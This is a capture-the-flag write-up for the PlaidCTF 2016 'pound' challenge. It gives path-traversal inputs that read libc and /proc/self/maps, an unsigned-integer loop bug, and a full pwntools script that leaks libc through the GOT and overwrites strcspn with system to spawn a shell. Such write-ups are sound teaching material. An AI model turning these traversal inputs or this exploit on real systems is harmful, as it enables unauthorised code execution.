PlaidCTF 2016 pound

,

I like the gimmick to give the source code and compiled binaries.

solution

host.py

To get some required information, choose 1. Read Trump article and send a relative path from ./tweets. You may want to read the paths:

  • ../pound.c
  • ../../../../lib32/libc.so.6
  • ../sims/sim-XXXX
  • ../../../../proc/self/maps

pound.c

To make a vulnerability, you can use 0u. If #define L1 0u, for (i=0; i < L1-1; i++) becomes for (i=0; i < 0xffffffff; i++) by mixing signed and unsigned integers.

To be able to read/write somewhere, use the char *announcement;. If you can modify this, read/write are done by 0. Print state, 4. Create Announcement. Now, in 2. Simulate Propagate Forward or 3. Simulate Propagate Backward, the first loops don’t terminate until it reaches a null dword. So if you make L1 and L2 to 0u, fill char s1_name[STATE_SIZE_LEN]; and char s2_name[STATE_SIZE_LEN]; with positives, it will reaches the char *announcement; and int announcement_length;. When you use 2. Simulate Propagate Forward with amount $k$, the null dword and the previous dword are increased by $k$.

To get shell, we need to know libc base address and let to call system with /bin/sh. The both read/write can/should be done at once. Make the announcement a pointer to the GOT, then read, and write the same address. You should write /bin/sh and the address to system with if (fgets (global.announcement, len, stdin) == NULL) in void create_announcement (), as the succeeding strcspn(global.announcement, "\n") acts as system("/bin/sh", "\n").

note

At this time, the GOT was like below.

$ objdump -R sim

sim:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804affc R_386_GLOB_DAT    __gmon_start__
0804b040 R_386_COPY        stdin@@GLIBC_2.0
0804b060 R_386_COPY        stdout@@GLIBC_2.0
0804b00c R_386_JUMP_SLOT   [email protected]_2.0
0804b010 R_386_JUMP_SLOT   [email protected]_2.0
0804b014 R_386_JUMP_SLOT   [email protected]_2.0
0804b018 R_386_JUMP_SLOT   [email protected]_2.0
0804b01c R_386_JUMP_SLOT   [email protected]_2.0
0804b020 R_386_JUMP_SLOT   __gmon_start__
0804b024 R_386_JUMP_SLOT   [email protected]_2.0
0804b028 R_386_JUMP_SLOT   [email protected]_2.0
0804b02c R_386_JUMP_SLOT   [email protected]_2.7
0804b030 R_386_JUMP_SLOT   [email protected]_2.0
0804b034 R_386_JUMP_SLOT   [email protected]_2.0

By the way, what was int secret;?

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host')
parser.add_argument('port', type=int)
args = parser.parse_args()
context.log_level = 'debug'

elf = ELF('sim')
libc = ELF('libc.so.6')

p = remote(args.host, args.port)

p.sendline('2')
p.recvuntil('[Smaller] State 1 Size:')
p.sendline('0u')
p.recvuntil('[Larger] State 2 Size:')
p.sendline('0u')

p.recvuntil('Enter the name of the first state:')
p.send('A' * 512)
p.recvuntil('Enter the name of the second state:')
p.send('A' * 512)
p.recvuntil('Enter Your Choice: ')
p.sendline('')

log.info('strcspn got: ' + hex(elf.got['strcspn']))
p.recvuntil('Enter Your Choice: ')
p.sendline('2')
p.sendline(str(elf.got['strcspn'] - 21))

p.recvuntil('Enter Your Choice: ')
p.sendline('2')
p.sendline(str(13))

p.recvuntil('Enter Your Choice: ')
p.sendline('0')
p.recvuntil('PSA: ')
p.recv(16)
libc_base = u32(p.recv(4)) - libc.symbols['fgets']
log.info('libc base: ' + hex(libc_base))

p.recvuntil('Enter Your Choice: ')
p.sendline('4')
p.recvuntil('Enter the length of your announcement: ')
p.sendline(str(13))
p.sendline('/bin/sh\0' + p32(libc_base + libc.symbols['system']))

time.sleep(1)
p.sendline('id')
p.interactive()